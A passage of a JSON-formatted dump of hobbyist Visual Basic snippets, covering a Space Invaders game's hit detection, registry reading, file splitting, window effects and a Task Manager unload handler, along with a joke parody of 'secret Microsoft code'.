the previous shot hasn't yet been painted\n'in all of it's 3 colors,don't fire onother one\nExit Sub\nEnd Select\nshot = 1\n'Play the sound fx using API's\nxshot = x2 + 1062\n'Xshot is the X coordinate of the laser beem.The\n'weapon of the ship is in the middle,so it's\n'Xshot = x2 + 1062 (x2 is the X coordinate of the ship)\n'Keep in mind that the sprite has a lot of space\n'in each side of the actual ship otherwise it would\n'leave trails on the form when it moves\n'\n'Check if the Xshot is anywhere near an alien\n'and \"kill\" him if so ( kill(#of alien)=True).He\n'may not yet be officialy dead since the\n'explosion hasn't been painted on him,but that's\n'a matter of milliseconds if his KILL array element\n'is set to True.\nIf Abs(xi1 + (sprINVADER5.Width / 2) - xshot) < (sprINVADER5.Width / 4) Then kill(1) = True Else kill(1) = False\nIf Abs(xi2(1) + (sprINVADER5.Width / 2) - xshot) < (sprINVADER5.Width / 3) Then kill(2) = True Else kill(2) = False\nIf Abs(xi2(2) + (sprINVADER5.Width / 2) - xshot) < (sprINVADER5.Width / 3) Then kill(3) = True Else kill(3) = False\nFor i = 1 To 3\nIf Abs(xi3(i) + (sprINVADER5.Width / 2) - xshot) < (sprINVADER5.Width / 2) Then kill(3 + i) = True: Exit For Else kill(3 + i) = False\nNext\nFor i = 1 To 4\nIf Abs(xi4(i) + (sprINVADER5.Width / 2) - xshot) < (sprINVADER5.Width / 2) Then kill(6 + i) = True: Exit For Else kill(6 + i) = False\nNext\nFor i = 1 To 5\nIf Abs(xi5(i) + (sprINVADER5.Width / 2) - xshot) < (sprINVADER5.Width / 3) Then kill(10 + i) = True: Exit For Else kill(10 + i) = False\nNext\nIf kill(1) = True Then xinv = xi1: yinv = yi1: upper = yi1: Call kaboom\nIf kill(2) = True Then xinv = xi2(1): yinv = yi2(1): upper = yi2(1): Call kaboom:\nIf kill(3) = True Then xinv = xi2(2): yinv = yi2(2): upper = yi2(2): Call kaboom:\nFor i = 1 To 3\nIf kill(i + 3) = True Then xinv = xi3(i): yinv = yi3(i): upper = yi3(i): Call kaboom:\nNext\nFor i = 1 To 4\nIf kill(6 + i) = True Then xinv = xi4(i): yinv = yi4(i): upper = yi4(i): Call kaboom:\nNext\nFor i = 1 To 5\nIf kill(10 + i) = True Then xinv = xi5(i): yinv = yi5(i): upper = yi5(i): Call kaboom:\nNext\naa = 0\n'Check if the shot \"killed\" some more aliens\n'that were above the unlucky one and \"ressurect\"\n'them since laser blasters don't go through\n'metal.Only railguns in Quake2...\nFor i = 15 To 1 Step -1\nIf kill(i) = True Then aa = i: Exit For\nNext\nFor i = 1 To 15\nIf i <> aa Then kill(i) = False\nNext\n11 Line (x2 + 1062, y2)-(xshot, upper), BackColor\n'Randomly choose a color for the first of three\n'laser beems ...\nD = Int(2 * Rnd)\nSelect Case D\nCase 0\nCOL1 = &HFFFFFF\nCOL2 = &HFF0000\nCase Else\nCOL1 = &HFF0000\nCOL2 = &HFFFFFF\nEnd Select\n'and paint it...If this one was blue,the second will\n'be white and vise versa.The third is always the\n'black one that \"erases\" the trail of the shot\nLine (x2 + 1062, y2)-(x2 + 1062, upper), COL1\nEnd Sub\n'The procedure that runs everytime you shoot an alien.\n'He still has no idea what's in store for him but\n'these lines of code will fix him up good\nPrivate Sub kaboom()\n'Place the blank label on the unlucky alien so that\n'he's erased on the next timer event,before the\n'frames of the explosion start showing\nlblBlank.Top = yinv\nlblBlank.Left = xinv\nboom = True\n'...and start the fun by setting the Explosion variable\n'to 1.In the next timer event a beautiful explosion\n'will go off on an ugly alien's face\nexplosion = 1\nEnd Sub"},{"WorldId":1,"id":10529,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1522,"LineNumber":1,"line":"'***Add a timer (timer1) to your form... paste the code below to the global declarations!\n'***Set the timer interval to 250\nPrivate Declare Function FlashWindow Lib \"user32\" (ByVal hwnd As Long, ByVal bInvert As Long) As Long\nPrivate Sub Timer1_Timer()\n Call FlashWindow(Form1.hwnd, True)\nEnd Sub"},{"WorldId":1,"id":1524,"LineNumber":1,"line":"'This function will return a array of variant with all the subkey values\n'eg.\n' Dim MyVariant As Variant, MyReg As New CReadEasyReg, i As Integer\n' If Not MyReg.OpenRegistry(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\") Then\n' MsgBox \"Couldn't open the registry\"\n' Exit Sub\n' End If\n' MyVariant = MyReg.GetAllSubDirectories\n' For i = LBound(MyVariant) To UBound(MyVariant)\n' Debug.Print MyVariant(i)\n' Next i\n' MyReg.CloseRegistry\nFunction GetAllSubDirectories() As Variant\nOn Error GoTo handelgetdirvalues\n Dim SubKey_Num As Integer\n Dim SubKey_Name As String\n Dim Length As Long\n Dim ReturnArray() As Variant\n \n If Not OpenRegOk Then Exit Function\n 'Get the Dir List\n SubKey_Num = 0\n Do\n Length = 256\n SubKey_Name = Space$(Length)\n If RegEnumKey(HKey, SubKey_Num, SubKey_Name, Length) <> 0 Then\n Exit Do\n End If\n SubKey_Name = Left$(SubKey_Name, InStr(SubKey_Name, Chr$(0)) - 1)\n ReDim Preserve ReturnArray(SubKey_Num) As Variant\n ReturnArray(SubKey_Num) = SubKey_Name\n SubKey_Num = SubKey_Num + 1\n Loop\n GetAllSubDirectories = ReturnArray\n Exit Function\nhandelgetdirvalues:\n GetAllSubDirectories = Null\n Exit Function\nEnd Function\n'This function will return a array of variant with all the value names in a key\n'eg.\n' Dim MyVariant As Variant, MyReg As New CReadEasyReg, i As Integer\n' If Not MyReg.OpenRegistry(HKEY_LOCAL_MACHINE, \"HardWare\\Description\\System\\CentralProcessor\\0\") Then\n' MsgBox \"Couldn't open the registry\"\n' Exit Sub\n' End If\n' MyVariant = MyReg.GetAllValues\n' For i = LBound(MyVariant) To UBound(MyVariant)\n' Debug.Print MyVariant(i)\n' Next i\n' MyReg.CloseRegistry\nFunction GetAllValues() As Variant\nOn Error GoTo handelgetdirvalues\n Dim lpData As String, KeyType As Long\n Dim BufferLengh As Long, vname As String, vnamel As Long\n Dim ReturnArray() As Variant, Index As Integer\n \n If Not OpenRegOk Then Exit Function\n \n 'Get the Values List\n Index = 0\n Do\n lpData = String(250, \" \")\n BufferLengh = 240\n vname = String(250, \" \")\n vnamel = 240\n If RegEnumValue(ByVal HKey, ByVal Index, vname, vnamel, 0, KeyType, lpData, BufferLengh) <> 0 Then\n Exit Do\n End If\n vname = Left$(vname, InStr(vname, Chr$(0)) - 1)\n ReDim Preserve ReturnArray(Index) As Variant\n ReturnArray(Index) = vname\n Index = Index + 1\n Loop\n GetAllValues = ReturnArray\n Exit Function\nhandelgetdirvalues:\n GetAllValues = Null\n Exit Function\nEnd Function\n'This function will return a specific value from the registry\n'eg.\n' Dim MyString As String, MyReg As New CReadEasyReg, i As Integer\n' If Not MyReg.OpenRegistry(HKEY_LOCAL_MACHINE, \"HardWare\\Description\\System\\CentralProcessor\\0\") Then\n' MsgBox \"Couldn't open the registry\"\n' Exit Sub\n' End If\n' MyString = MyReg.GetValue(\"Identifier\")\n' Debug.Print MyString\n' MyReg.CloseRegistry\nFunction GetValue(ByVal VarName As String) As String\nOn Error GoTo handelgetavalue\n Dim i As Integer\n Dim SubKey_Value As String, TempStr As String\n Dim Length As Long\n Dim value_type As Long\n \n If Not OpenRegOk Then Exit Function\n \n 'Read the value\n Length = 256\n SubKey_Value = Space$(Length)\n If RegQueryValueEx(HKey, VarName, 0&, value_type, ByVal SubKey_Value, Length) <> 0 Then\n GetValue = \"\"\n Exit Function\n End If\n Select Case value_type\n Case 1 'Text\n SubKey_Value = Left$(SubKey_Value, Length - 1)\n Case 3 'Binary\n SubKey_Value = Left$(SubKey_Value, Length - 1)\n TempStr = \"\"\n For i = 1 To Len(SubKey_Value)\n TempStr = TempStr & Format$(Hex(Asc(Mid$(SubKey_Value, i, 1))), \"00\") & \" \"\n Next i\n SubKey_Value = TempStr\n Case Else\n SubKey_Value = \"value_type=\" & value_type\n End Select\n GetValue = SubKey_Value\n Exit Function\nhandelgetavalue:\n GetValue = \"\"\n Exit Function\nEnd Function\n'This property returns the current KeyValue\nPublic Property Get RegistryRootKey() As HKeys\n RegistryRootKey = RootHKey\nEnd Property\n'This property returns the current 'Registry Directory' your in\nPublic Property Get SubDirectory() As String\n SubDirectory = SubDir\nEnd Property\n'This function open's the registry at a specific 'Registry Directory'\n'eg.\n' Dim MyVariant As Variant, MyReg As New CReadEasyReg, i As Integer\n' If Not MyReg.OpenRegistry(HKEY_LOCAL_MACHINE, \"\") Then\n' MsgBox \"Couldn't open the registry\"\n' Exit Sub\n' End If\n' MyVariant = MyReg.GetAllSubDirectories\n' For i = LBound(MyVariant) To UBound(MyVariant)\n' Debug.Print MyVariant(i)\n' Next i\n' MyReg.CloseRegistry\nPublic Function OpenRegistry(ByVal RtHKey As HKeys, ByVal SbDr As String) As Boolean\nOn Error GoTo OpenReg\n If RtHKey = 0 Then\n OpenRegistry = False\n OpenRegOk = False\n Exit Function\n End If\n RootHKey = RtHKey\n SubDir = SbDr\n If OpenRegOk Then\n CloseRegistry\n OpenRegOk = False\n End If\n If RegOpenKeyEx(RootHKey, SubDir, 0&, KEY_ALL_ACCESS, HKey) <> 0 Then\n OpenRegistry = False\n Exit Function\n End If\n OpenRegOk = True\n OpenRegistry = True\n Exit Function\nOpenReg:\n OpenRegOk = False\n OpenRegistry = False\n Exit Function\nEnd Function\n'This function should be called after you're done with the registry\n'eg. (see other examples)\nPublic Function CloseRegistry() As Boolean\nOn Error Resume Next\n If RegCloseKey(HKey) <> 0 Then\n CloseRegistry = False\n Exit Function\n End If\n CloseRegistry = True\n OpenRegOk = False\nEnd Function\nPrivate Sub Class_Initialize()\n RootHKey = &H0\n SubDir = \"\"\n HKey = 0\n OpenRegOk = False\nEnd Sub\nPrivate Sub Class_Terminate()\nOn Error Resume Next\n If RegCloseKey(HKey) <> 0 Then\n Exit Sub\n End If\nEnd Sub\n"},{"WorldId":1,"id":1589,"LineNumber":1,"line":"'Example to use this function\n' MsgBox \" Notepad's Version is \" & CheckFileVersion(\"C:\\Windows\\Notepad.exe\")\nPublic Function CheckFileVersion(FilenameAndPath As Variant) As Variant\nOn Error GoTo HandelCheckFileVersionError\n Dim lDummy As Long, lsize As Long, rc As Long\n Dim lVerbufferLen As Long, lVerPointer As Long\n Dim sBuffer() As Byte\n Dim udtVerBuffer As VS_FIXEDFILEINFO\n Dim ProdVer As String\n \n lsize = GetFileVersionInfoSize(FilenameAndPath, lDummy)\n If lsize < 1 Then Exit Function\n \n ReDim sBuffer(lsize)\n rc = GetFileVersionInfo(FilenameAndPath, 0&, lsize, sBuffer(0))\n rc = VerQueryValue(sBuffer(0), \"\\\", lVerPointer, lVerbufferLen)\n MoveMemory udtVerBuffer, lVerPointer, Len(udtVerBuffer)\n \n '**** Determine Product Version number ****\n ProdVer = Format$(udtVerBuffer.dwProductVersionMSh) & \".\" & Format$(udtVerBuffer.dwProductVersionMSl)\n CheckFileVersion = ProdVer\n \n Exit Function\nHandelCheckFileVersionError:\n CheckFileVersion = \"N/A\"\n Exit Function\nEnd Function\n"},{"WorldId":1,"id":1742,"LineNumber":1,"line":"'Pass this function your ADO recordset\nFunction GetTotalRecords(ByRef aRS As ADODB.Recordset) As Long\nOn Error GoTo handelgettotalrec\n Dim adoBookM As Variant 'Declare a variable to keep the current location\n adoBookM = aRS.Bookmark 'Get the current location in the recordset\n aRS.MoveLast 'Move to the last record in the recordset\n GetTotalRecords = aRS.RecordCount 'Set the count value\n aRS.Bookmark = adoBookM 'Return to the origanal record\n Exit Function\nhandelgettotalrec:\n GetTotalRecords = 0 'If there's any errors return 0\n Exit Function\nEnd Function"},{"WorldId":1,"id":1662,"LineNumber":1,"line":"'***********************************\n'*** PASTE THIS CODE INTO A FORM ***\n'***********************************\nOption Explicit\nPrivate Sub Command1_Click()\n Dim Ans As String\n Ans = GetOpenFileNameDLG(\"File to split *.*|*.*|File to combine *.000|*.000|\", \"Please select a file\", \"\", Me.hwnd)\n If Ans <> \"\" Then\n Text1.Text = Ans\n End If\nEnd Sub\nPrivate Sub Command2_Click()\n \n 'Check that somting is selected\n If Not CheckForFile Then Exit Sub\n \n 'Ok split the file in the current directory\n \n If SplitFile(Text1.Text, Combo1.ItemData(Combo1.ListIndex)) Then\n MsgBox \"File was split!\"\n Else\n MsgBox \"Error splitting file...\"\n End If\n \n \nEnd Sub\nPrivate Sub Command3_Click()\n 'Check that somting is selected\n If Not CheckForFile Then Exit Sub\n 'Check to see if it is a Split file with extension \"MYFILE.SP(x)\"\n \n If (Right$(Text1.Text, 3)) <> \"000\" Then\n MsgBox \"That's not the proper extension for a split file. It should be somthing like Myfile.000, the first file of the split files.\", 16, \"No go !\"\n Exit Sub\n End If\n \n 'Ok assemble the files in the current directory\n \n If AssembleFile(Text1.Text) Then\n MsgBox \"File assembled!\"\n Else\n MsgBox \"Error assembeling file...\"\n End If\nEnd Sub\nPrivate Sub Command4_Click()\n Unload Me\n End\nEnd Sub\nPrivate Sub Form_Load()\n Text1.Text = \"\"\n Combo1.AddItem \"16 Kb\"\n Combo1.ItemData(Combo1.NewIndex) = 16\n Combo1.AddItem \"32 Kb\"\n Combo1.ItemData(Combo1.NewIndex) = 32\n Combo1.AddItem \"64 Kb\"\n Combo1.ItemData(Combo1.NewIndex) = 64\n Combo1.AddItem \"128 Kb\"\n Combo1.ItemData(Combo1.NewIndex) = 128\n Combo1.AddItem \"256 Kb\"\n Combo1.ItemData(Combo1.NewIndex) = 256\n Combo1.AddItem \"512 Kb\"\n Combo1.ItemData(Combo1.NewIndex) = 512\n Combo1.AddItem \"720 Kb\"\n Combo1.ItemData(Combo1.NewIndex) = 720\n Combo1.AddItem \"1200 Kb\"\n Combo1.ItemData(Combo1.NewIndex) = 1200\n Combo1.AddItem \"1440 Kb\"\n Combo1.ItemData(Combo1.NewIndex) = 1440\n Combo1.ListIndex = Combo1.ListCount - 1\n Command1.Caption = \"Browse\"\n Command2.Caption = \"Split File\"\n Command3.Caption = \"Assemble Files\"\n Command4.Caption = \"Cancel\"\nEnd Sub\nFunction CheckForFile() As Boolean\n 'We don't want nasty spaces in the end\n Text1.Text = Trim(Text1.Text)\n CheckForFile = False\n 'Check for text in textbox\n If Text1.Text = \"\" Then\n 'Stop !! no text entered\n MsgBox \"Please select a file first!\", 16, \"No file selected\"\n Exit Function\n End If\n 'Check if the file excists\n If Dir$(Text1.Text, vbNormal) = \"\" Then\n 'Stop !! no file\n MsgBox \"The file '\" & Text1.Text & \"' was not found!\", 16, \"File non excistend?!\"\n Exit Function\n End If\n CheckForFile = True\nEnd Function\nFunction SplitFile(Filename As String, Filesize As Long) As Boolean\nOn Error GoTo handelsplit\n \n Dim lSizeOfFile As Long, iCountFiles As Integer\n Dim iNumberOfFiles As Integer, lSizeOfCurrentFile As Long\n Dim sBuffer As String '10Kb buffer\n Dim sRemainBuffer As String, lEndPart As Long\n Dim lSizeToSplit As Long, sHeader As String * 16\n Dim iFileCounter As Integer, sNewFilename As String\n Dim lWhereInFileCounter As Long\n \n If MsgBox(\"Continue to split file?\", 4 + 32 + 256, \"Split?\") = vbNo Then\n SplitFile = False\n Exit Function\n End If\n \n Open Filename For Binary As #1\n lSizeOfFile = LOF(1)\n lSizeToSplit = Filesize * 1024\n \n 'Check if the file is actualy larger than the selected split size\n If lSizeOfFile <= lSizeToSplit Then\n Close #1\n SplitFile = False\n MsgBox \"This file is smaller than the selected split size! Why split it ?\", 16, \"Duh!\"\n Exit Function\n End If\n \n 'Check if file isn't alread split\n sHeader = Input(16, #1)\n Close #1\n If Mid$(sHeader, 1, 7) = \"SPLITIT\" Then\n MsgBox \"This file is alread split!\"\n SplitFile = False\n Exit Function\n End If\n \n Open Filename For Binary As #1\n lSizeOfFile = LOF(1)\n lSizeToSplit = Filesize * 1024\n \n 'Write the header of the split file\n ' Signature = \"SPLITIT\" = Size 7\n ' Split Number = \"xxx\" = Size 3\n ' Total Number of Split Files = \"xxx\" = Size 3\n ' Origanal file extension = \"aaa\" = Size 3\n 'Total of 16 for header\n \n iCountFiles = 0\n iNumberOfFiles = (lSizeOfFile \\ lSizeToSplit) + 1\n \n sHeader = \"SPLITIT\" & Format$(iFileCounter, \"000\") & Format$(iNumberOfFiles, \"000\") & Right$(Filename, 3)\n sNewFilename = Left$(Filename, Len(Filename) - 3) & Format$(iFileCounter, \"000\")\n Open sNewFilename For Binary As #2\n Put #2, , sHeader 'Write the header\n lSizeOfCurrentFile = Len(sHeader)\n \n While Not EOF(1)\n Me.Caption = \"File Split : \" & iFileCounter & \" (\" & Int(lSizeOfCurrentFile / 1024) & \" Kb)\"\n Me.Refresh\n sBuffer = Input(10240, #1)\n lSizeOfCurrentFile = lSizeOfCurrentFile + Len(sBuffer)\n If lSizeOfCurrentFile > lSizeToSplit Then\n 'Write last bit\n lEndPart = Len(sBuffer) - (lSizeOfCurrentFile - lSizeToSplit) + Len(sHeader)\n Put #2, , Mid$(sBuffer, 1, lEndPart)\n Close #2\n 'Make new file\n iFileCounter = iFileCounter + 1\n sHeader = \"SPLITIT\" & Format$(iFileCounter, \"000\") & Format$(iNumberOfFiles, \"000\") & Right$(Filename, 3)\n sNewFilename = Left$(Filename, Len(Filename) - 3) & Format$(iFileCounter, \"000\")\n Open sNewFilename For Binary As #2\n Put #2, , sHeader 'Write the header\n 'Put Rest of buffer read\n Put #2, , Mid$(sBuffer, lEndPart + 1)\n lSizeOfCurrentFile = Len(sHeader) + (Len(sBuffer) - lEndPart)\n Else\n Put #2, , sBuffer\n End If\n Wend\n \n Me.Caption = \"Finished\"\n \n Close #2\n Close #1\n SplitFile = True\n Exit Function\nhandelsplit:\n SplitFile = False\n MsgBox Err.Description, 16, \"Error #\" & Err.Number\n Exit Function\nEnd Function\nFunction AssembleFile(Filename As String) As Boolean\nOn Error GoTo handelassemble\n Dim sHeader As String * 16\n Dim sBuffer As String '10Kb buffer\n Dim sFileExt As String, iNumberOfFiles As Integer\n Dim iCurrentFileNumber As Integer\n Dim iCounter As Integer, sTempFilename As String\n Dim sNewFilename As String\n If MsgBox(\"Continue to assemble file?\", 4 + 256 + 32, \"Assemble?\") = vbNo Then\n AssembleFile = False\n Exit Function\n End If\n \n Open Filename For Binary As #1\n sHeader = Input(Len(sHeader), #1)\n \n 'Check if it's a split file !!!\n If Mid$(sHeader, 1, 7) <> \"SPLITIT\" Then\n MsgBox \"This is not a split file ;) nice try!\"\n AssembleFile = False\n Exit Function\n Else\n 'The first file is a split file ok\n 'Read the header values\n iCurrentFileNumber = Val(Mid$(sHeader, 8, 3))\n iNumberOfFiles = Val(Mid$(sHeader, 11, 3))\n sFileExt = Mid$(sHeader, 14, 3)\n If iCurrentFileNumber <> 0 Then\n MsgBox \"This is not the first file in the sequence!!! AAAGGHH!\"\n AssembleFile = False\n Exit Function\n End If\n End If\n \n Close #1\n \n sNewFilename = Left$(Filename, Len(Filename) - 3) & sFileExt\n 'Create the assembled file\n Open sNewFilename For Binary As #2\n \n 'Assemble files\n For iCounter = 0 To iNumberOfFiles - 1\n sTempFilename = Left$(Filename, Len(Filename) - 3) & Format$(iCounter, \"000\")\n \n Me.Caption = \"File Assemble : \" & sTempFilename\n Me.Refresh\n \n Open sTempFilename For Binary As #1\n sHeader = Input(Len(sHeader), #1)\n If Mid$(sHeader, 1, 7) <> \"SPLITIT\" Then\n MsgBox \"This is not a split file ;) nice try! \" & sTempFilename\n AssembleFile = False\n Exit Function\n End If\n iCurrentFileNumber = Val(Mid$(sHeader, 8, 3))\n If iCurrentFileNumber <> iCounter Then\n MsgBox \"The file '\" & sTempFilename & \"' is out of sequence!! AARRGHH!\"\n AssembleFile = False\n Close #2\n Close #1\n Exit Function\n End If\n While Not EOF(1)\n sBuffer = Input(10240, #1)\n Put #2, , sBuffer\n Wend\n Close #1\n Next iCounter\n Close #2\n \n Me.Caption = \"Finished\"\n \n AssembleFile = True\n Exit Function\nhandelassemble:\n AssembleFile = False\n MsgBox Err.Description, 16, \"Error #\" & Err.Number\n Exit Function\nEnd Function\n"},{"WorldId":1,"id":1629,"LineNumber":1,"line":"'Paste this code into a module mAboutDialog\n'\n'This is a subs function for windows system menu calls\nPublic Function SubsMenuProc(ByVal lFRMWinHandel As Long, ByVal lMessage As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\n 'Only capture system commands\n Select Case lMessage\n Case WM_SYSCOMMAND\n 'Only capture our new about menu's clicks\n If wParam = ABOUT_ID Then\n 'Show the about box\n FRMAbout.Show 1\n Exit Function\n End If\n End Select\n 'Do the rest of windows stuff\n SubsMenuProc = CallWindowProc(OldProcedure, lFRMWinHandel, lMessage, wParam, lParam)\nEnd Function\n'This function should be called from the Onload event of the form you want\n'the system menu to contain a About Menu\nPublic Sub AddAboutForm(ByVal lFormWindowHandel As Long, MenuDescription As String)\n Dim hSysMenu As Long\n 'Get the handel to the system menu\n hSysMenu = GetSystemMenu(lFormWindowHandel, 0&)\n 'Add a nice line\n Call AppendMenu(hSysMenu, MF_SEPARATOR, 0&, 0&)\n 'Make sure you have a menu description\n If MenuDescription = \"\" Then MenuDescription = \"About\"\n 'Add the About menu description\n Call AppendMenu(hSysMenu, MF_STRING, ABOUT_ID, MenuDescription)\n 'Direct windows to the new function for the menu\n OldProcedure = SetWindowLong(lFormWindowHandel, GWL_WNDPROC, AddressOf SubsMenuProc)\nEnd Sub\n"},{"WorldId":1,"id":1636,"LineNumber":1,"line":"'**************************************\n'This code must be copied into the form\n'**************************************\n'\nOption Explicit\nDim CompDC As Long, hBmp As Long, CompDCOrg As Long, hBmp2 As Long\nDim SourceHDC As Long, SourceBMP As Long, SourceBMP2 As Long\nDim SourceHDC2 As Long\nDim rtn As Long, xsize As Long, ysize As Long\nDim xbounce As Long, ybounce As Long\nDim aw As Integer, xdir As Integer, ydir As Integer, iloop As Integer\nDim StayInLoop As Boolean\nPrivate Sub Form_Activate()\n Randomize\n 'The x and y size of the picture in pixels for the API's\n xsize = Picture1.Width / Screen.TwipsPerPixelX\n ysize = Picture1.Height / Screen.TwipsPerPixelY\n 'The aw (Alteration Width) of the glass deformation object\n aw = 20\n 'xdir and ydir is the bounce directional variables\n xdir = (Rnd * 5) + 1\n ydir = (Rnd * 5) + 1\n 'Make a copy of both picture's into memory DC's\n Call MakeCopyOfImgage\n 'Make sure the display picture doesn't redraw itself\n Picture1.AutoRedraw = False\n 'The next variable controls the animation loop\n StayInLoop = False\n 'Copy the origanal image to the visible picture box\n rtn = BitBlt(Picture1.hdc, 0, 0, xsize, ysize, CompDCOrg, 0, 0, SRCCOPY)\n 'xbounce and ybounce is the center-point of the glass object\n 'making it aw will display it in the top left-hand corner of the picture box\n xbounce = aw: ybounce = aw\nEnd Sub\n\nPrivate Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)\n 'Terminate the animation loop\n StayInLoop = False\n 'Free the memory used for the DC's\n Call DeleteCopyOfImage\nEnd Sub\nPrivate Sub Command1_Click()\n StayInLoop = Not StayInLoop\n While StayInLoop\n 'Reset the portion of the DC that was deformed\n Call ResetPortion(xbounce, ybounce, aw)\n 'Do the movement\n xbounce = xbounce + xdir\n If xbounce > xsize - aw Then xdir = -(Rnd * 5) - 1\n ybounce = ybounce + ydir\n If ybounce > ysize - aw Then ydir = -(Rnd * 5) - 1\n If xbounce < aw Then xdir = (Rnd * 5) + 1\n If ybounce < aw Then ydir = (Rnd * 5) + 1\n 'Do the deformation on the memory DC\n Call Stretch(xbounce, ybounce, aw)\n 'Copy the memory DC to the visible picture box\n rtn = BitBlt(Picture1.hdc, 0, 0, xsize, ysize, CompDC, 0, 0, SRCCOPY)\n 'Let windows do some other stuff (I WILL NOT RECOMEND TO REMOVE THE NEXT LINE)\n DoEvents\n Wend\nEnd Sub\nSub Stretch(ByVal xpos As Long, ByVal ypos As Long, ByVal areawidth As Long)\n Dim Stretchit As Double, i As Double\n Dim rtn As Long\n 'The next variable set's the percentage of deformation\n 'You can change this variable to get some interesting effects\n Stretchit = 0.9\n For i = 2 To 0.1 Step -0.2\n rtn = StretchBlt(CompDC, _\n xpos - (areawidth * i), _\n ypos - (areawidth * i), _\n (areawidth * i) * 2, _\n (areawidth * i) * 2, _\n CompDC, _\n (xpos - (areawidth * Stretchit * i)), _\n (ypos - (areawidth * Stretchit * i)), _\n (areawidth * Stretchit * i) * 2, _\n (areawidth * Stretchit * i) * 2, _\n SRCCOPY)\n Next i\nEnd Sub\nSub ResetPortion(ByVal xpos As Long, ByVal ypos As Long, ByVal areawidth As Long)\n Dim rtn As Long\n 'This next line will reset the are on the DC that was deformed\n rtn = BitBlt(CompDC, _\n xpos - (areawidth * 2), _\n ypos - (areawidth * 2), _\n (areawidth) * 4, _\n (areawidth) * 4, _\n CompDCOrg, _\n xpos - (areawidth * 2), _\n ypos - (areawidth * 2), _\n SRCCOPY)\nEnd Sub\nSub MakeCopyOfImgage()\n 'Get the handel to the DC for the two picture boxes\n SourceHDC = Picture1.hdc\n SourceHDC2 = Picture2.hdc\n 'Get the pictures\n SourceBMP = Picture1.Picture\n SourceBMP2 = Picture2.Picture\n 'Create the to memory DC's\n CompDC = CreateCompatibleDC(SourceHDC)\n CompDCOrg = CreateCompatibleDC(SourceHDC)\n 'Copy the pictures to these DC's\n hBmp = SelectObject(CompDC, SourceBMP)\n hBmp2 = SelectObject(CompDCOrg, SourceBMP2)\nEnd Sub\nSub DeleteCopyOfImage()\n 'Delete the memory DC's\n rtn = DeleteDC(CompDC)\n rtn = DeleteDC(CompDCOrg)\nEnd Sub\n"},{"WorldId":1,"id":1548,"LineNumber":1,"line":"Private Sub Form_QueryUnload(cancel As Integer, UnloadMode As Integer)\n \n'To cancel the unload make the cancel = true. Don't do it\n'on the vbAppTaskManager one though.\n \n Dim ans As String\n Select Case UnloadMode\n Case vbFormControlMenu 'Value 0\n \n'This will be called if you select the close from the little icon\n'menu on top and left of the form.\n cancel = False\n \n Case vbFormCode 'Value 1\n \n'This will be called if your code requested a unload\n cancel = False\n \n Case vbAppWindows 'Value 2\n'vbAppWindows is triggered when you shutdown Windows and your app is still \n'running. Added by Jim MacDiarmid\n cancel = False\n End\n \n Case vbAppTaskManager 'Value 3\n \n'You have to allow the taskmanager to close the program, else you get\n'that nasty 'App not responding, close anyway' dialog :<\n'The clever way arround it would be to restart your program\n'This would be used for a password screen!\n \n cancel = False\n x = Shell(App.Path & \"\\\" & App.EXEName, vbNormalFocus)\n End\n \n Case vbFormMDIForm 'Value 4\n'This code is called from the parent form\n cancel = False\n End Select\nEnd Sub\n"},{"WorldId":1,"id":1580,"LineNumber":1,"line":"/*\n TOP SECRET Microsoft(c) Code \n Project: Chicago(tm)\n Projected release-date: Summer 1994 \n */\n \n #include \"win31.h\"\n #include \"win95.h\"\n #include \"evenmore.h\"\n #include \"oldstuff.h\"\n #include \"billrulz.h\"\n #define INSTALL = HARD\n \n char make_prog_look_big[1600000]; \n \n void main()\n {\n while(!CRASHED)\n {\n display_copyright_message(); \n display_bill_rules_message(); \n do_nothing_loop();\n \n if (first_time_installation) \n {\n make_50_megabyte_swapfile(); \n do_nothing_loop();\n totally_screw_up_HPFS_file_system(); \n search_and_destroy_the_rest_of_OS/2(); \n hang_system();\n }\n \n write_something(anything); \n display_copyright_message(); \n do_nothing_loop();\n do_some_stuff();\n \n if (still_not_crashed) \n {\n display_copyright_message(); \n do_nothing_loop();\n basically_run_windows_3.1(); \n do_nothing_loop();\n do_nothing_loop(); \n }\n }\n \n if (detect_cache())\n disable_cache();\n \n if (fast_cpu())\n {\n set_wait_states(lots);\n set_mouse(speed, very_slow); \n set_mouse(action, jumpy);\n set_mouse(reaction, sometimes); \n }\n \n /* printf(\"Welcome to Windows 3.11\"); */ \n /* printf(\"Welcome to Windows 95\"); */ \n \n printf(\"Welcome to Windows 98\"); \n \n if (system_ok())\n crash(to_dos_prompt);\n else\n system_memory = open(\"a:\\swp0001.swp\", O_CREATE); \n \n while(something)\n {\n sleep(5);\n get_user_input(); \n sleep(5);\n act_on_user_input(); \n sleep(5);\n }\n \n create_general_protection_fault();"},{"WorldId":1,"id":1987,"LineNumber":1,"line":"'Local var's to keep track of things happening\nDim RootHKey As HKeys\nDim SubDir As String\nDim hKey As Long\nDim OpenRegOk As Boolean\n'This function will return a array of variant with all the subkey values\n'eg.\n' Dim MyVariant As Variant, MyReg As New CReadWriteEasyReg, i As Integer\n' If Not MyReg.OpenRegistry(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\") Then\n' MsgBox \"Couldn't open the registry\"\n' Exit Sub\n' End If\n' MyVariant = MyReg.GetAllSubDirectories\n' For i = LBound(MyVariant) To UBound(MyVariant)\n' Debug.Print MyVariant(i)\n' Next i\n' MyReg.CloseRegistry\nFunction GetAllSubDirectories() As Variant\nOn Error GoTo handelgetdirvalues\n Dim SubKey_Num As Integer\n Dim SubKey_Name As String\n Dim length As Long\n Dim ReturnArray() As Variant\n \n If Not OpenRegOk Then Exit Function\n 'Get the Dir List\n SubKey_Num = 0\n Do\n length = 256\n SubKey_Name = Space$(length)\n If RegEnumKey(hKey, SubKey_Num, SubKey_Name, length) <> 0 Then\n Exit Do\n End If\n SubKey_Name = Left$(SubKey_Name, InStr(SubKey_Name, Chr$(0)) - 1)\n ReDim Preserve ReturnArray(SubKey_Num) As Variant\n ReturnArray(SubKey_Num) = SubKey_Name\n SubKey_Num = SubKey_Num + 1\n Loop\n GetAllSubDirectories = ReturnArray\n Exit Function\nhandelgetdirvalues:\n GetAllSubDirectories = Null\n Exit Function\nEnd Function\n'This function will return a true or false when it creates a key for you\n'eg.\n' Dim MyReg As New CReadWriteEasyReg\n' If Not MyReg.OpenRegistry(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\") Then\n' MsgBox \"Couldn't open the registry\"\n' Exit Sub\n' End If\n' if 